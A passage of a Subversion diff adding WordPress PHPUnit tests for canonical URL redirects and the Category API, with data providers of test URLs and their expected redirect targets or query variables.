+			array( '/category/uncategorized/', array( 'url' => '/category/uncategorized/', 'qv' => array( 'category_name' => 'uncategorized' ) ) ),
+			array( '/category/uncategorized/page/2/', array( 'url' => '/category/uncategorized/page/2/', 'qv' => array( 'category_name' => 'uncategorized', 'paged' => 2) ) ),
+			array( '/category/uncategorized/?paged=2', array( 'url' => '/category/uncategorized/page/2/', 'qv' => array( 'category_name' => 'uncategorized', 'paged' => 2) ) ),
+			array( '/category/uncategorized/?paged=2&category_name=uncategorized', array( 'url' => '/category/uncategorized/page/2/', 'qv' => array( 'category_name' => 'uncategorized', 'paged' => 2) ), 17174 ),
+
+			// Categories & Intersections with other vars
+			array( '/category/uncategorized/?tag=post-formats', array( 'url' => '/category/uncategorized/?tag=post-formats', 'qv' => array('category_name' => 'uncategorized', 'tag' => 'post-formats') ) ),
+			array( '/?category_name=cat-a,cat-b', array( 'url' => '/?category_name=cat-a,cat-b', 'qv' => array( 'category_name' => 'cat-a,cat-b' ) ) ),
+
+			// Taxonomies with extra Query Vars
+			array( '/category/cat-a/page/1/?test=one%20two', '/category/cat-a/?test=one%20two', 18086), // Extra query vars should stay encoded
+
+			// Categories with Dates
+			array( '/2008/04/?cat=1', array( 'url' => '/2008/04/?cat=1', 'qv' => array('cat' => '1', 'year' => '2008', 'monthnum' => '04' ) ), 17661 ),
+//			array( '/2008/?category_name=cat-a', array( 'url' => '/2008/?category_name=cat-a', 'qv' => array('category_name' => 'cat-a', 'year' => '2008' ) ) ),
+
+			// Pages
+			array( '/child-page-1/', '/parent-page/child-page-1/'),
+			array( '/?page_id=144', '/parent-page/child-page-1/'),
+			array( '/abo', '/about/' ),
+			array( '/parent/child1/grandchild/', '/parent/child1/grandchild/' ),
+			array( '/parent/child2/grandchild/', '/parent/child2/grandchild/' ),
+
+			// Posts
+			array( '?p=587', '/2008/06/02/post-format-test-audio/'),
+			array( '/?name=images-test', '/2008/09/03/images-test/'),
+			// Incomplete slug should resolve and remove the ?name= parameter
+			array( '/?name=images-te', '/2008/09/03/images-test/', 20374),
+			// Page slug should resolve to post slug and remove the ?pagename= parameter
+			array( '/?pagename=images-test', '/2008/09/03/images-test/', 20374),
+
+			array( '/2008/06/02/post-format-test-au/', '/2008/06/02/post-format-test-audio/'),
+			array( '/2008/06/post-format-test-au/', '/2008/06/02/post-format-test-audio/'),
+			array( '/2008/post-format-test-au/', '/2008/06/02/post-format-test-audio/'),
+			array( '/2010/post-format-test-au/', '/2008/06/02/post-format-test-audio/'), // A Year the post is not in
+			array( '/post-format-test-au/', '/2008/06/02/post-format-test-audio/'),
+
+			array( '/2008/09/03/images-test/3/', array( 'url' => '/2008/09/03/images-test/3/', 'qv' => array( 'name' => 'images-test', 'year' => '2008', 'monthnum' => '09', 'day' => '03', 'page' => '3' ) ) ),
+			array( '/2008/09/03/images-test/?page=3', '/2008/09/03/images-test/3/' ),
+			array( '/2008/09/03/images-te?page=3', '/2008/09/03/images-test/3/' ),
+
+			// Comments
+			array( '/2008/03/03/comment-test/?cpage=2', '/2008/03/03/comment-test/comment-page-2/' ),
+
+			// Attachments
+			array( '/?attachment_id=611', '/2008/06/10/post-format-test-gallery/canola2/' ),
+			array( '/2008/06/10/post-format-test-gallery/?attachment_id=611', '/2008/06/10/post-format-test-gallery/canola2/' ),
+
+			// Dates
+			array( '/?m=2008', '/2008/' ),
+			array( '/?m=200809', '/2008/09/'),
+			array( '/?m=20080905', '/2008/09/05/'),
+
+			array( '/2008/?day=05', '/2008/?day=05'), // no redirect
+			array( '/2008/09/?day=05', '/2008/09/05/'),
+			array( '/2008/?monthnum=9', '/2008/09/'),
+
+			array( '/?year=2008', '/2008/'),
+
+			array( '/2012/13/', '/2012/'),
+			array( '/2012/11/51/', '/2012/11/', 0, array( 'WP_Date_Query' ) ),
+
+			// Authors
+			array( '/?author=%d', '/author/canonical-author/' ),
+//			array( '/?author=%d&year=2008', '/2008/?author=3'),
+//			array( '/author/canonical-author/?year=2008', '/2008/?author=3'), //Either or, see previous testcase.
+
+			// Feeds
+			array( '/?feed=atom', '/feed/atom/' ),
+			array( '/?feed=rss2', '/feed/' ),
+			array( '/?feed=comments-rss2', '/comments/feed/'),
+			array( '/?feed=comments-atom', '/comments/feed/atom/'),
+
+			// Feeds (per-post)
+			array( '/2008/03/03/comment-test/?feed=comments-atom', '/2008/03/03/comment-test/feed/atom/'),
+			array( '/?p=149&feed=comments-atom', '/2008/03/03/comment-test/feed/atom/'),
+
+			// Index
+			array( '/?paged=1', '/' ),
+			array( '/page/1/', '/' ),
+			array( '/page1/', '/' ),
+			array( '/?paged=2', '/page/2/' ),
+			array( '/page2/', '/page/2/' ),
+
+			// Misc
+			array( '/2008%20', '/2008' ),
+			array( '//2008////', '/2008/' ),
+
+			// Todo: Endpoints (feeds, trackbacks, etc), More fuzzed mixed query variables, comment paging, Home page (Static)
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/canonical/category.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/canonical/category.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/canonical/category.php	(revision 56912)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * @group canonical
+ */
+class Tests_Canonical_Category extends WP_Canonical_UnitTestCase {
+	public $structure = '/%category%/%postname%/';
+
+	public static $posts = array();
+	public static $cats = array();
+
+	public static function wpSetUpBeforeClass( $factory ) {
+
+		self::$posts[0] = $factory->post->create( array( 'post_name' => 'post0' ) );
+		self::$posts[1] = $factory->post->create( array( 'post_name' => 'post1' ) );
+		self::$cats[0] = $factory->category->create( array( 'slug' => 'cat0' ) );
+		self::$cats[1] = $factory->category->create( array( 'slug' => 'cat1' ) );
+		self::$cats[2] = $factory->category->create( array( 'slug' => 'cat2' ) );
+
+		wp_set_post_categories( self::$posts[0], self::$cats[2] );
+		wp_set_post_categories( self::$posts[0], self::$cats[0] );
+		wp_set_post_categories( self::$posts[1], self::$cats[1] );
+	}
+
+	/**
+	 * @dataProvider data_canonical_category
+	 */
+	public function test_canonical_category( $test_url, $expected, $ticket = 0, $expected_doing_it_wrong = array() ) {
+		$this->assertCanonical( $test_url, $expected, $ticket, $expected_doing_it_wrong );
+	}
+
+	public function data_canonical_category() {
+		/* Data format:
+		 * [0]: Test URL.
+		 * [1]: expected results: Any of the following can be used
+		 *      array( 'url': expected redirection location, 'qv': expected query vars to be set via the rewrite AND $_GET );
+		 *      array( expected query vars to be set, same as 'qv' above )
+		 *      (string) expected redirect location
+		 * [2]: (optional) The ticket the test refers to, Can be skipped if unknown.
+		 * [3]: (optional) Array of class/function names expected to throw `_doing_it_wrong()` notices.
+		 */
+
+		return array(
+			// Valid category.
+			array( '/cat0/post0/', array( 'url' => '/cat0/post0/', 'qv' => array( 'category_name' => 'cat0', 'name' => 'post0', 'page' => '' ) ) ),
+
+			// Category other than the first one will redirect to first "canonical" category.
+			array( '/cat2/post0/', array( 'url' => '/cat0/post0/', 'qv' => array( 'category_name' => 'cat0', 'name' => 'post0', 'page' => '' ) ) ),
+
+			// Incorrect category will redirect to correct one.
+			array( '/cat1/post0/', array( 'url' => '/cat0/post0/', 'qv' => array( 'category_name' => 'cat0', 'name' => 'post0', 'page' => '' ) ) ),
+
+			// Nonexistent category will redirect to correct one.
+			array( '/foo/post0/', array( 'url' => '/cat0/post0/', 'qv' => array( 'category_name' => 'cat0', 'name' => 'post0', 'page' => '' ) ) ),
+
+			// Embed URLs should not redirect to post permalinks.
+			array( '/cat0/post0/embed/', array( 'url' => '/cat0/post0/embed/', 'qv' => array( 'category_name' => 'cat0', 'name' => 'post0', 'embed' => 'true' ) ) ),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/canonical/customRules.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/canonical/customRules.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/canonical/customRules.php	(revision 56912)
@@ -0,0 +1,40 @@
+<?php
+
+/**
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical_CustomRules extends WP_Canonical_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+		global $wp_rewrite;
+		// Add a custom Rewrite rule to test category redirections.
+		$wp_rewrite->add_rule('ccr/(.+?)/sort/(asc|desc)', 'index.php?category_name=$matches[1]&order=$matches[2]', 'top'); // ccr = Custom_Cat_Rule
+		$wp_rewrite->flush_rules();
+	}
+
+	/**
+	 * @dataProvider data
+	 */
+	function test( $test_url, $expected, $ticket = 0, $expected_doing_it_wrong = array() ) {
+		$this->assertCanonical( $test_url, $expected, $ticket, $expected_doing_it_wrong );
+	}
+
+	function data() {
+		/* Format:
+		 * [0]: $test_url,
+		 * [1]: expected results: Any of the following can be used
+		 *      array( 'url': expected redirection location, 'qv': expected query vars to be set via the rewrite AND $_GET );
+		 *      array( expected query vars to be set, same as 'qv' above )
+		 *      (string) expected redirect location
+		 * [3]: (optional) The ticket the test refers to, Can be skipped if unknown.
+		 */
+		return array(
+			// Custom Rewrite rules leading to Categories
+			array( '/ccr/uncategorized/sort/asc/', array( 'url' => '/ccr/uncategorized/sort/asc/', 'qv' => array( 'category_name' => 'uncategorized', 'order' => 'asc' ) ) ),
+			array( '/ccr/uncategorized/sort/desc/', array( 'url' => '/ccr/uncategorized/sort/desc/', 'qv' => array( 'category_name' => 'uncategorized', 'order' => 'desc' ) ) ),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/canonical/https.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/canonical/https.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/canonical/https.php	(revision 56912)
@@ -0,0 +1,60 @@
+<?php
+
+/**
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical_HTTPS extends WP_Canonical_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+
+		$this->set_permalink_structure( '/%year%/%monthnum%/%day%/%postname%/' );
+		create_initial_taxonomies();
+
+		$this->http  = set_url_scheme( home_url( 'sample-page/' ), 'http' );
+		$this->https = set_url_scheme( home_url( 'sample-page/' ), 'https' );
+	}
+
+	public function set_https( $url ) {
+		return set_url_scheme( $url, 'https' );
+	}
+
+	/**
+	 * @ticket 27954
+	 */
+	public function test_http_request_with_http_home() {
+
+		$redirect = redirect_canonical( $this->http, false );
+
+		$this->assertEquals( $redirect, false );
+
+	}
+
+	/**
+	 * @ticket 27954
+	 */
+	public function test_https_request_with_http_home() {
+
+		$redirect = redirect_canonical( $this->https, false );
+
+		$this->assertEquals( $redirect, false );
+
+	}
+
+	/**
+	 * @ticket 27954
+	 */
+	public function test_https_request_with_https_home() {
+
+		add_filter( 'home_url', array( $this, 'set_https' ) );
+
+		$redirect = redirect_canonical( $this->https, false );
+
+		$this->assertEquals( $redirect, false );
+
+		remove_filter( 'home_url', array( $this, 'set_https' ) );
+
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/canonical/noRewrite.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/canonical/noRewrite.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/canonical/noRewrite.php	(revision 56912)
@@ -0,0 +1,108 @@
+<?php
+
+require_once dirname( dirname( __FILE__ ) ) . '/canonical.php';
+
+/**
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical_NoRewrite extends WP_Canonical_UnitTestCase {
+
+	// These test cases are run against the test handler in WP_Canonical
+
+	public function setUp() {
+		global $wp_rewrite;
+
+		parent::setUp();
+
+		$wp_rewrite->init();
+		$wp_rewrite->set_permalink_structure( '' );
+		$wp_rewrite->flush_rules();
+	}
+
+	/**
+	 * @dataProvider data
+	 */
+	function test( $test_url, $expected, $ticket = 0, $expected_doing_it_wrong = array() ) {
+		$this->assertCanonical( $test_url, $expected, $ticket, $expected_doing_it_wrong );
+	}
+
+	function data() {
+		/* Format:
+		 * [0]: $test_url,
+		 * [1]: expected results: Any of the following can be used
+		 *      array( 'url': expected redirection location, 'qv': expected query vars to be set via the rewrite AND $_GET );
+		 *      array( expected query vars to be set, same as 'qv' above )
+		 *      (string) expected redirect location
+		 * [3]: (optional) The ticket the test refers to, Can be skipped if unknown.
+		 */
+		return array(
+			array( '/?p=123', '/?p=123' ),
+
+			// This post_type arg should be stripped, because p=1 exists, and does not have post_type= in its query string
+			array( '/?post_type=fake-cpt&p=1', '/?p=1' ),
+
+			// Strip an existing but incorrect post_type arg
+			array( '/?post_type=page&page_id=1', '/?p=1' ),
+
+			// Trailing spaces and punctuation in query string args.
+			array( '/?p=358 ',          array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // space
+			array( '/?p=358%20',        array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // encoded space
+			array( '/?p=358!',          array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // exclamation mark
+			array( '/?p=358%21',        array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // encoded exclamation mark
+			array( '/?p=358"',          array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // double quote
+			array( '/?p=358%22',        array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // encoded double quote
+			array( '/?p=358\'',         array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // single quote
+			array( '/?p=358%27',        array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // encoded single quote
+			array( '/?p=358(',          array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // opening bracket
+			array( '/?p=358%28',        array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // encoded opening bracket
+			array( '/?p=358)',          array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // closing bracket
+			array( '/?p=358%29',        array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // encoded closing bracket
+			array( '/?p=358,',          array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // comma
+			array( '/?p=358%2C',        array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // encoded comma
+			array( '/?p=358.',          array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // period
+			array( '/?p=358%2E',        array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // encoded period
+			array( '/?p=358;',          array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // semicolon
+			array( '/?p=358%3B',        array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // encoded semicolon
+			array( '/?p=358{',          array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // opening curly bracket
+			array( '/?p=358%7B',        array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // encoded opening curly bracket
+			array( '/?p=358}',          array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // closing curly bracket
+			array( '/?p=358%7D',        array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // encoded closing curly bracket
+			array( '/?p=358%E2%80%9C',  array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // encoded opening curly quote
+			array( '/?p=358%E2%80%9D',  array( 'url' => '/?p=358', 'qv' => array( 'p' => '358' ) ), 20383 ), // encoded closing curly quote
+
+			// Trailing spaces and punctuation in permalinks.
+			array( '/page/2/ ',         '/page/2/', 20383 ), // space
+			array( '/page/2/%20',       '/page/2/', 20383 ), // encoded space
+			array( '/page/2/!',         '/page/2/', 20383 ), // exclamation mark
+			array( '/page/2/%21',       '/page/2/', 20383 ), // encoded exclamation mark
+			array( '/page/2/"',         '/page/2/', 20383 ), // double quote
+			array( '/page/2/%22',       '/page/2/', 20383 ), // encoded double quote
+			array( '/page/2/\'',        '/page/2/', 20383 ), // single quote
+			array( '/page/2/%27',       '/page/2/', 20383 ), // encoded single quote
+			array( '/page/2/(',         '/page/2/', 20383 ), // opening bracket
+			array( '/page/2/%28',       '/page/2/', 20383 ), // encoded opening bracket
+			array( '/page/2/)',         '/page/2/', 20383 ), // closing bracket
+			array( '/page/2/%29',       '/page/2/', 20383 ), // encoded closing bracket
+			array( '/page/2/,',         '/page/2/', 20383 ), // comma
+			array( '/page/2/%2C',       '/page/2/', 20383 ), // encoded comma
+			array( '/page/2/.',         '/page/2/', 20383 ), // period
+			array( '/page/2/%2E',       '/page/2/', 20383 ), // encoded period
+			array( '/page/2/;',         '/page/2/', 20383 ), // semicolon
+			array( '/page/2/%3B',       '/page/2/', 20383 ), // encoded semicolon
+			array( '/page/2/{',         '/page/2/', 20383 ), // opening curly bracket
+			array( '/page/2/%7B',       '/page/2/', 20383 ), // encoded opening curly bracket
+			array( '/page/2/}',         '/page/2/', 20383 ), // closing curly bracket
+			array( '/page/2/%7D',       '/page/2/', 20383 ), // encoded closing curly bracket
+			array( '/page/2/%E2%80%9C', '/page/2/', 20383 ), // encoded opening curly quote
+			array( '/page/2/%E2%80%9D', '/page/2/', 20383 ), // encoded closing curly quote
+
+			array( '/?page_id=1', '/?p=1' ), // redirect page_id to p (should cover page_id|p|attachment_id to one another
+			array( '/?page_id=1&post_type=revision', '/?p=1' ),
+
+			array( '/?feed=rss2&p=1', '/?feed=rss2&p=1', 21841 ),
+			array( '/?feed=rss&p=1', '/?feed=rss2&p=1', 24623 ),
+		);
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/canonical/pageOnFront.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/canonical/pageOnFront.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/canonical/pageOnFront.php	(revision 56912)
@@ -0,0 +1,48 @@
+<?php
+
+/**
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical_PageOnFront extends WP_Canonical_UnitTestCase {
+
+	function setUp() {
+		parent::setUp();
+
+		update_option( 'show_on_front', 'page' );
+		update_option( 'page_for_posts', self::factory()->post->create( array( 'post_title' => 'blog-page', 'post_type' => 'page' ) ) );
+		update_option( 'page_on_front', self::factory()->post->create( array( 'post_title' => 'front-page', 'post_type' => 'page', 'post_content' => "Page 1\n<!--nextpage-->\nPage 2"  ) ) );
+	}
+
+	/**
+	 * @dataProvider data
+	 */
+	function test( $test_url, $expected, $ticket = 0, $expected_doing_it_wrong = array() ) {
+		$this->assertCanonical( $test_url, $expected, $ticket, $expected_doing_it_wrong );
+	}
+
+	function data() {
+		/* Format:
+		 * [0]: $test_url,
+		 * [1]: expected results: Any of the following can be used
+		 *      array( 'url': expected redirection location, 'qv': expected query vars to be set via the rewrite AND $_GET );
+		 *      array( expected query vars to be set, same as 'qv' above )
+		 *      (string) expected redirect location
+		 * [3]: (optional) The ticket the test refers to, Can be skipped if unknown.
+		 */
+		 return array(
+			// Check against an odd redirect
+			array( '/page/2/', '/page/2/' ),
+			array( '/?page=2', '/page/2/' ),
+			array( '/page/1/', '/' ),
+			array( '/?page=1', '/' ),
+
+			// The page designated as the front page should redirect to the front of the site
+			array( '/front-page/', '/' ),
+			array( '/front-page/2/', '/page/2/' ),
+			array( '/front-page/?page=2', '/page/2/' ),
+			array( '/blog-page/?paged=2', '/blog-page/page/2/' ),
+		 );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/canonical/paged.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/canonical/paged.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/canonical/paged.php	(revision 56912)
@@ -0,0 +1,25 @@
+<?php
+/**
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical_Paged extends WP_Canonical_UnitTestCase {
+
+	function test_nextpage() {
+		$para = 'This is a paragraph.
+			This is a paragraph.
+			This is a paragraph.';
+		$next = '<!--nextpage-->';
+
+		$post_id = self::factory()->post->create( array(
+			'post_status' => 'publish',
+			'post_content' => "{$para}{$next}{$para}{$next}{$para}"
+		) );
+
+		$link = parse_url( get_permalink( $post_id ), PHP_URL_PATH );
+		$paged = $link . '4/';
+
+		$this->assertCanonical( $paged, $link );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/category.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/category.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/category.php	(revision 56912)
@@ -0,0 +1,245 @@
+<?php
+/**
+ * Validate Category API
+ *
+ * Notes:
+ * cat_is_ancestor_of is validated under test\term\term_is_ancestor_of
+ *
+ * @group category.php
+ */
+class Tests_Category extends WP_UnitTestCase {
+
+	function tearDown() {
+		_unregister_taxonomy( 'test_tax_cat' );
+		parent::tearDown();
+	}
+
+	/**
+	 * Validate get_all_category_ids
+	 *
+	 * @expectedDeprecated get_all_category_ids
+	 */
+	function test_get_all_category_ids() {
+		// create categories
+		self::factory()->category->create_many( 2 );
+
+		// create new taxonomy to ensure not included
+		register_taxonomy( 'test_tax_cat', 'post' );
+		wp_insert_term( "test1", 'test_tax_cat' );
+
+		// Validate length is 1 + created due to uncategorized
+		$cat_ids = get_all_category_ids();
+		$this->assertEquals( 3, count($cat_ids));
+	}
+
+	/**
+	 * Validate get_category_by_slug function
+	 */
+	function test_get_category_by_slug() {
+
+		// create Test Categories
+		$testcat = self::factory()->category->create_and_get(
+			array(
+				'slug' => 'testcat',
+				'name' => 'Test Category 1'
+			)
+		);
+		$testcat2 = self::factory()->category->create_and_get(
+			array(
+				'slug' => 'testcat2',
+				'name' => 'Test Category 2'
+			)
+		);
+
+		// validate category is returned by slug
+		$ret_testcat = get_category_by_slug( 'testcat' );
+		$this->assertEquals( $testcat->term_id, $ret_testcat->term_id );
+		$ret_testcat = get_category_by_slug( 'TeStCaT' );
+		$this->assertEquals( $testcat->term_id, $ret_testcat->term_id );
+
+		// validate unknown category returns false
+		$this->assertFalse( get_category_by_slug( 'testcat3' ) );
+
+	}
+
+	/**
+	 * Validate _make_cat_compat function
+	 */
+	function test__make_cat_compat() {
+
+		// create Test Categories and Array Representations
+		$testcat_array = array(
+			'slug' => 'testmcc',
+			'name' => 'Test MCC',
+			'description' => 'Category Test'
+		);
+		$testcat = self::factory()->category->create_and_get( $testcat_array );
+		$testcat_array['term_id'] = $testcat->term_id;
+
+		$testcat2_array = array(
+			'slug' => 'testmcc',
+			'name' => 'Test MCC',
+			'description' => 'Category Test',
+			'parent' => $testcat->term_id
+		);
+		$testcat2 = self::factory()->category->create_and_get( $testcat2_array );
+		$testcat2_array['term_id'] = $testcat2->term_id;
+
+		// unset properties to enable validation of object
+		unset( $testcat->cat_ID );
+		unset( $testcat->category_count );
+		unset( $testcat->category_description );
+		unset( $testcat->cat_name );
+		unset( $testcat->category_nicename );
+		unset( $testcat->category_parent );
+
+		unset( $testcat2->cat_ID );
+		unset( $testcat2->category_count );
+		unset( $testcat2->category_description );
+		unset( $testcat2->cat_name );
+		unset( $testcat2->category_nicename );
+		unset( $testcat2->category_parent );
+
+		// make Compatible
+		_make_cat_compat( $testcat );
+		_make_cat_compat( $testcat2 );
+		_make_cat_compat( $testcat_array );
+		_make_cat_compat( $testcat2_array );
+
+		// Validate Compatibility Object
+		$this->assertEquals( $testcat->cat_ID, $testcat->term_id );
+		$this->assertEquals( $testcat->category_count, $testcat->count );
+		$this->assertEquals( $testcat->category_description, $testcat->description );
+		$this->assertEquals( $testcat->cat_name, $testcat->name );
+		$this->assertEquals( $testcat->category_nicename, $testcat->slug );
+		$this->assertEquals( $testcat->category_parent, $testcat->parent );
+
+		// Validate Compatibility Object with Parent
+		$this->assertEquals( $testcat->cat_ID, $testcat->term_id );
+		$this->assertEquals( $testcat->category_count, $testcat->count );
+		$this->assertEquals( $testcat->category_description, $testcat->description );
+		$this->assertEquals( $testcat->cat_name, $testcat->name );
+		$this->assertEquals( $testcat->category_nicename, $testcat->slug );
+		$this->assertEquals( $testcat->category_parent, $testcat->parent );
+
+		// Validate Compatibility Array
+		$this->assertEquals( $testcat_array['cat_ID'], $testcat_array['term_id'] );
+		$this->assertEquals( $testcat_array['category_count'], $testcat_array['count'] );
+		$this->assertEquals( $testcat_array['category_description'], $testcat_array['description'] );
+		$this->assertEquals( $testcat_array['cat_name'], $testcat_array['name'] );
+		$this->assertEquals( $testcat_array['category_nicename'], $testcat_array['slug'] );
+		$this->assertEquals( $testcat_array['category_parent'], $testcat_array['parent'] );
+
+		// Validate Compatibility Array with Parent
+		$this->assertEquals( $testcat_array['cat_ID'], $testcat_array['term_id'] );
+		$this->assertEquals( $testcat_array['category_count'], $testcat_array['count'] );
+		$this->assertEquals( $testcat_array['category_description'], $testcat_array['description'] );
+		$this->assertEquals( $testcat_array['cat_name'], $testcat_array['name'] );
+		$this->assertEquals( $testcat_array['category_nicename'], $testcat_array['slug'] );
+		$this->assertEquals( $testcat_array['category_parent'], $testcat_array['parent'] );
+	}
+
+	/**
+	 * Validate get_cat_name function
+	 */
+	function test_get_cat_name() {
+
+		// create Test Category
+		$testcat = self::factory()->category->create_and_get(
+			array(
+				'slug' => 'testcat',
+				'name' => 'Test Category 1'
+			)
+		);
+
+		// Validate
+		$this->assertEquals( $testcat->name, get_cat_name( $testcat->term_id ) );
+		$this->assertEquals( '', get_cat_name( -1 ) );
+		$this->assertEquals( '', get_cat_name( $testcat->term_id + 100 ) );
+
+	}
+
+	/**
+	 * Validate get_cat_name function
+	 */
+	function test_get_cat_ID() {
+
+		// create Test Category
+		$testcat = self::factory()->category->create_and_get(
+			array(
+				'slug' => 'testcat',
+				'name' => 'Test Category 1'
+			)
+		);
+
+		// Validate
+		$this->assertEquals( $testcat->term_id, get_cat_ID( $testcat->name ) );
+		$this->assertEquals( 0, get_cat_ID( "NO CAT" ) );
+		$this->assertEquals( 0, get_cat_ID( 12 ) );
+
+	}
+
+	/**
+	 * Validate get_category_by_path function
+	 */
+	function test_get_category_by_path() {
+
+		// create Test Categories
+		$root_id = self::factory()->category->create(
+			array(
+				'slug' => 'root',
+			)
+		);
+		$root_cat_id = self::factory()->category->create(
+			array(
+				'slug' => 'cat',
+				'parent' => $root_id
+			)
+		);
+		$root_cat_cat_id = self::factory()->category->create(
+			array(
+				'slug' => 'cat', //note this is modified on create
+				'parent' => $root_cat_id
+			)
+		);
+		$root_path_id = self::factory()->category->create(
+			array(
+				'slug' => 'path',
+				'parent' => $root_id
+			)
+		);
+		$root_path_cat_id = self::factory()->category->create(
+			array(
+				'slug' => 'cat', //note this is modified on create
+				'parent' => $root_path_id
+			)
+		);
+		$root_level_id = self::factory()->category->create(
+			array(
+				'slug' => 'level-1',
+				'parent' => $root_id
+			)
+		);
+		$root_level_cat_id = self::factory()->category->create(
+			array(
+				'slug' => 'cat', //note this is modified on create
+				'parent' => $root_level_id
+			)
+		);
+
+		// Validate Full Match
+		$ret_cat = get_category_by_path( '/root/level-1', true );
+		$this->assertEquals( $root_level_id, $ret_cat->term_id );
+		$this->assertNull( get_category_by_path( 'level-1', true ) );
+		$this->assertNull( get_category_by_path( 'nocat/nocat/', true) );
+
+		// Validate Partial Match
+		$ret_cat = get_category_by_path( 'level-1', false );
+		$this->assertEquals( $root_level_id, $ret_cat->term_id );
+		$ret_cat = get_category_by_path( 'root/cat/level-1', false );
+		$this->assertEquals( $root_level_id, $ret_cat->term_id );
+		$ret_cat = get_category_by_path( 'root$2Fcat%20%2Flevel-1', false );
+		$this->assertEquals( $root_level_id, $ret_cat->term_id );
+		$this->assertNull( get_category_by_path( 'nocat/nocat/', false) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/category/categoryDescription.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/category/categoryDescription.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/category/categoryDescription.php	(revision 56912)
@@ -0,0 +1,78 @@
+<?php
+
+/**
+ * @group taxonomy
+ * @covers ::category_description
+ */
+class Tests_Category_CategoryDescription extends WP_UnitTestCase {
+	public function test_success_query_by_id() {
+		$description = 'Foo';
+		$c = self::factory()->category->create( array(
+			'description' => $description,
+		) );
+
+		$found = category_description( $c );
+		$expected = apply_filters( 'term_description', $description );
+
+		$this->assertSame( $expected, $found );
+	}
+
+	public function test_success_query_by_object() {
+		$description = 'Foo';
+		$c = self::factory()->category->create( array(
+			'description' => $description,
+			'slug'        => 'bar',
+		) );
+
+		$category = get_term( $c );
+
+		$found = category_description( $c );
+		$expected = apply_filters( 'term_description', $description );
+
+		$this->assertSame( $expected, $found );
+	}
+
+	/**
+	 * @ticket 42605
+	 * @ticket 42771
+	 */
+	public function test_should_return_description_for_term_from_another_taxonomy_on_primed_cache() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$description = 'Foo';
+
+		$t = self::factory()->term->create( array(
+			'taxonomy'    => 'wptests_tax',
+			'description' => $description,
+		) );
+
+		$term = get_term( $t );
+
+		$found = category_description( $t );
+		$expected = apply_filters( 'term_description', $description );
+
+		$this->assertSame( $expected, $found );
+	}
+
+	/**
+	 * @ticket 42605
+	 * @ticket 42771
+	 */
+	public function test_should_return_description_for_term_from_another_taxonomy_on_empty_cache() {
+		register_taxonomy( 'wptests_tax', 'post' );
+
+		$description = 'Foo';
+
+		$t = self::factory()->term->create( array(
+			'taxonomy'    => 'wptests_tax',
+			'description' => $description,
+		) );
+
+		clean_term_cache( $t );
+
+		$found = category_description( $t );
+		$expected = apply_filters( 'term_description', $description );
+
+		$this->assertSame( $expected, $found );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/category/getCategories.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/category/getCategories.php	(revision 56912)
